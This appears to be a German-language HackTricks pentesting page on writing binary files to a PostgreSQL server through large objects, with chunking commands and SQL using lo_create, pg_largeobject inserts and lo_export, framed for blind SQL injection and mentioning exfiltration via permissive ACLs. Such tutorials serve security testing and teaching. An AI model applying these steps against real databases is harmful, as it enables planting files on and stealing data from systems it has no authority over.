Big Binary Files Upload (PostgreSQL)

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

PostgreSQL Large Objects

PostgreSQL bietet eine Struktur namens Large Objects, die über die Tabelle pg_largeobject zugänglich ist und zum Speichern großer Datentypen wie Bilder oder PDF-Dokumente entwickelt wurde. Dieser Ansatz ist vorteilhaft gegenüber der Funktion COPY TO, da er die Exportierung von Daten zurück auf das Dateisystem ermöglicht und eine exakte Kopie der Originaldatei gewährleistet.

Um eine komplette Datei in dieser Tabelle zu speichern, muss ein Objekt in der Tabelle pg_largeobject erstellt werden (identifiziert durch eine LOID), gefolgt von der Einfügung von Datenblöcken, die jeweils 2 KB groß sind, in dieses Objekt. Es ist entscheidend, dass diese Blöcke genau 2 KB groß sind (mit möglicher Ausnahme des letzten Blocks), um sicherzustellen, dass die Exportfunktion korrekt funktioniert.

Um Ihre Binärdaten in 2 KB große Blöcke aufzuteilen, können die folgenden Befehle ausgeführt werden:

split -b 2048 your_file # Creates 2KB sized files

Um jede Datei in Base64 oder Hex zu kodieren, können die folgenden Befehle verwendet werden:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Wichtig: Bei der Automatisierung dieses Prozesses stellen Sie sicher, dass Sie Chunks von 2 KB Klartext-Bytes senden. Hex-codierte Dateien erfordern 4 KB Daten pro Chunk aufgrund der Verdoppelung der Größe, während Base64-codierte Dateien der Formel ceil(n / 3) * 4 folgen.

Der Inhalt der großen Objekte kann zu Debugging-Zwecken mit folgendem Befehl angezeigt werden:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Verwendung von lo_creat & Base64

Um binäre Daten zu speichern, wird zuerst eine LOID erstellt:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

In Situationen, die eine präzise Kontrolle erfordern, wie z.B. bei der Ausnutzung einer Blind SQL Injection, wird lo_create bevorzugt, um eine feste LOID festzulegen.

Datenblöcke können dann wie folgt eingefügt werden:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Um das große Objekt zu exportieren und möglicherweise nach der Verwendung zu löschen:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Verwendung von lo_import & Hex

Die Funktion lo_import kann verwendet werden, um ein LOID für ein großes Objekt zu erstellen und anzugeben:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Nach der Erstellung des Objekts werden Daten pro Seite eingefügt, wobei darauf geachtet wird, dass jeder Chunk nicht mehr als 2 KB überschreitet:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Um den Vorgang abzuschließen, wird die Daten exportiert und das große Objekt gelöscht:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Einschränkungen

Es ist zu beachten, dass große Objekte möglicherweise ACLs (Access Control Lists) haben, die den Zugriff auch auf von Ihrem Benutzer erstellte Objekte einschränken können. Ältere Objekte mit großzügigen ACLs können jedoch immer noch für die Exfiltration von Inhalten zugänglich sein.

Lernen Sie das Hacken von AWS von Null auf Heldenniveau mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated